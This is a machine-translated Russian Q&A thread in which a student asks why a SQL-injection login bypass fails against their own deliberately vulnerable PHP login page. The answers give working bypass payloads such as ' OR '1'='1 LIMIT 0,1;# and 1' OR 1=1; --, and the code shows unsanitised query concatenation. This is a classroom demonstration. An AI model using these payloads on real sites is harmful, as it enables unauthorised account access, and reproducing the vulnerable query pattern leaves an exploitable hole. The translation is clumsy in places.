Моя SQL-инъекция, кажется, не работает?
Мне нужно сделать проект для школы о ряде различных веб-уязвимостей (SQL, XSS, CSRF и т. д.), И я сделал очень простой веб-сайт, чтобы продемонстрировать атаки. Но по какой-то причине я просто не могу заставить SQL-инъекцию работать, атакуя логин.
Вот простой код входа:
$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);
if ($count == 1) {
echo " Reached target!";
session_start();
$_SESSION["cmail"] = $cmail;
$_SESSION["cpwd"] = $cpwd;
} else {}
Много Эхо-материала, чтобы я мог следить за инъекцией, чтобы увидеть, что происходит, но это дает мне странные результаты.
Если я войду в систему как один из клиентов; имя пользователя: [email protected], password = 123abc, это дает мне ожидаемый ответ:
SELECT * FROM customer WHERE cMAIL='[email protected]' и cPWD= '123abc'
Цель достигнута!
Это то, что он эхом отзывается в браузере, просто чтобы быть ясным!
И сессия создается для jjones. Но если я сделаю это: username: 1 ' или ' 1 ' ='1, password:(пустой), это повторяет это:
Выберите * от клиента, где cMAIL= ' 1 ' или ' 1 ' = ' 1 'и cPWD="
Никаких ошибок или еще чего-нибудь. Я echo'D $count, и он говорит, что 0 строк выбираются из базы данных. Таким образом, инъекция звучит, но я не получаю никаких строк, основанных на запросе. Как мне решить эту проблему?
4 ответов:
Вы могли бы произвести
SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''С пользователем:
1' OR '1'='1' LIMIT 0,1;#И пароль пуст.
Чтобы обойти проверку входа в систему, необходимо построить запрос, соответствующий следующей спецификации:
- ограничиться толькоодной строкой . (Предел)
- где предложение всегда истинно. (логические исчисления)
, так что с решением @Игнасио Окампо-это точно правильный.
Кстати, есть одна вещь, которую вы должны учитывать в SQL-инъекции. Если magic_quotes_gpc включен, PHP автоматически преобразует
'в\'.
Вы можете продемонстрировать SQL-инъекцию в своем примере, установив username в
1' OR 1=1; --Это сделает ваш окончательный запрос:
SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD=''Это комментирует проверку пароля.
Вы должны записать что-то для поля пароля. Прямо сейчас запрос должен соответствовать паролю blank ("").
Что-то вроде следующего сделает вас умным плохим парнем
Username: 1' OR '1' = '1 Password: doesntmatter' OR '1' = '1Это переводится как
SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' AND cPWD='doesntmatter' OR '1' = '1'
Comments